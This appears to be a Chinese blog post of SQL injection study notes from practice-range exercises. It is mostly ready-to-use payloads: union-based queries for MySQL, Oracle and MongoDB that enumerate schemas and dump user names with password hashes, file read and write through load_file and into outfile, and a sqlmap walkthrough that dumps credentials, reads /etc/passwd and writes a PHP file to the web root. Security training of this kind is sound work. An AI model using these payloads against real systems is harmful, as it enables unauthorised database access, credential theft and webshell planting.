sql注入笔记

sql注入

 

数据库注入

access注入

是不区分高低权限的

数据库信息猜解不到可以用社工字典或者采用access便宜注入

access偏移注入可以适用于,已知表名不知道列名

mysql数据库注入漏洞 墨者靶场过程

获取数据库版本-version

数据库用户user

操作系统@@version_compile_os

数据库名database()

id=-1 order by 4

id=-1 union select 1,2,3,4

id=-1 union select 1,user(),version(),4

root@localhost 5.7.22-0ubuntu0.16.04.1

数据库mozhe_Discuz_StormGroup

爆表

id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

notice StormGroup_member

爆列

id=-1 union select 1,column_name,3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' 注意点

id name password status

id=-1 union select 1,concat(name,-,password),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

mozhe-356f589a7df439f6f744ff19bb8092c0

mozhe-332e732f961c68cb0a864c321a4e60f3

group_concat(name,password)可以直接显示

mysql高权限账户的跨库注入

实现当前网站跨库查询其他数据库对应网站数据

获取当前mysql数据库名

最后一句要改变默认的数据库名.manage

mysql读写文件

load_file('路径')

'文本' Into outfile '路径'

路径获取:phpinfo 报错 字典

无法写入secure_file_priv

可能是由于secure_file_priv 白名单指定位置可以读写

需要对方支持堆叠注入

通过网上的phpmyadmin

postsql和msssql(sqlserver)一样都是 null测试回显位置

#Oracle

参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html

下面小迪写的语句不全,没有上面的链接里面记录的全,建议看链接。

测回显:and 1=2 union select '1','2' from dual

爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual

模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like'%user%') from dual

爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual

爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual

爆数据:and 1=2 union select user_name,user_pwd from "sns_users"

爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

注:这个模糊爆库就是说把表名里面带user的全查出来

Dual 是 Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的Select语句块中。dual表是一个单行单列的虚拟表,实在不知道为啥查询语句有这个dual,建议百度。

#Mongodb 看代码

参考:https://www.runoob.com/mongodb/mongodb-query.html

测回显:/new_list.php?id=1'}); return ({title:1,content:'2

爆库: /new_list.php?id=1'}); return ({title:tojson(db),content:'1

爆表: /new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

爆字段:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。

db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

这个数据库在注入的时候需要一些代码和表名,不然会有一些困难,这里提供一下靶场的源码。代码主要看前面几行和后面几行就行。可以知道变量id就是我们的注入点,这个数据库的注入方式也因为源码里面({})这个符号,所以我们的payload也和以前的不一样。

#SQLMAP

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

链接里面内容比较全,可以说把链接里面的全搞会,sqlmap无压力。

sqlmap 是一种开源渗透测试工具,可自动检测和利用 SQL 注入缺陷并接管数据库服务器。它配备了强大的检测引擎,终极渗透测试仪的许多利基功能,以及从数据库指纹识别,从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令的各种开关。

简单的注入流程 :

1.读取数据库版本,当前用户,当前数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1

2.判断当前数据库用户权限

sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1

sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2

sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2

8.file-read读取web文件

sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2

9.file-write写入文件到web

sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试

数据类型注入

数字型0-9 不需要考虑引号

字符型a-z 需要考虑单引号闭合 --+和#

搜索型 需要考虑%'闭合 '%搜索内容%' 可以配合'%'=' 闭合后面的符号

编码型 编码值传递

加密型 数据以加密的密文去发送

格式型 JSON 去双引号之间的数据

墨者靶场-字符转义处理防护-宽字节注入

unmagic开头的脚本

提交方式注入

  • 17
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值